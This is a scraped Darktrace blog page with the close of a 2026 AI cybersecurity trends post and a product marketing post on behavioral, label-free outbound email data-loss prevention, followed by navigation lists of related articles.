One trend we’re watching closely for 2026 is the commercialization of AI-assisted cybercrime. For example, cybercrime prompt playbooks sold on the dark web—essentially copy-and-paste frameworks that show attackers how to misuse or jailbreak AI models. It’s an evolution of what we saw in 2025, where AI lowered the barrier to entry. In 2026, those techniques become productized, scalable, and much easier to reuse.

-- Toby Lewis, Global Head of Threat Analysis

Conclusion

Taken together, these trends underscore that the core challenges of cybersecurity are not changing dramatically -- identity, trust, data, and human decision-making still sit at the core of most incidents. What is changing quickly is the environment in which these challenges play out. AI and automation are accelerating everything: how quickly attackers can scale, how widely risk is distributed, and how easily unintended behavior can create real impact. And as technology like cloud services and SaaS platforms become even more deeply integrated into businesses, the potential attack surface continues to expand.

Predictions are not guarantees. But the patterns emerging today suggest that 2026 will be a year where securing AI becomes inseparable from securing the business itself. The organizations that prepare now—by understanding how AI is used, how it behaves, and how it can be misused—will be best positioned to adopt these technologies with confidence in the year ahead.

Learn more about how to secure AI adoption in the enterprise without compromise by registering to join our live launch webinar on February 3, 2026.

About the author

The Darktrace Community

Blog

Email

December 22, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

No labeling burden; no regex/rule maintenance
Works when tags are missing, wrong, or stale
Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

Flags risk without predefined rules or IOCs
Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

Low-latency, on-send enforcement
Non-generative for predictable, explainable outcomes
Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

Can it operate label free when tags are missing or wrong? 
Does it truly learn per user behavior (no shortcuts)? 
Is there a domain specific model behind the content understanding (not a generic LLM)? 
Does it explain decisions to both analysts and end users? 
Will it integrate with your label program and SOC workflows rather than duplicate them?

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

[related-resource]

About the author

Carlos Gray

Senior Product Marketing Manager, Email

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デモを予約

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Introduction: Linux malware campaign

Summary:

Initial access

Primary payload: cronb.sh

ar.sh

fkoths

s.sh

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

d.sh

h.sh

w.sh

c.sh

Conclusion

Indicators of compromise

Filename SHA256

Paths

IP addresses

Domains/URLs

References:

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

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More in this series

Blog

AI

December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

Introduction: 2026 cyber trends

Agentic AI is the next big insider risk

Prompt Injection moves from theory to front-page breach

Humans are even more outpaced, but not broken

‍AI removes the attacker bottleneck—smaller organizations feel the impact

SaaS platforms become the preferred supply chain target

Increased commercialization of generative AI and AI assistants in cyber attacks

Conclusion

Blog

Email

December 22, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

Why outbound email DLP needs reinventing

How data loss actually happens

What traditional DLP approaches offer (and where gaps remain)

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

2) Behavioral (vs. rules, signatures, threat intelligence)

3) Proprietary DSLM (vs. generic LLM)

The Darktrace approach to DLP

A buyer’s checklist for DLP solutions

w.sh 

c.sh 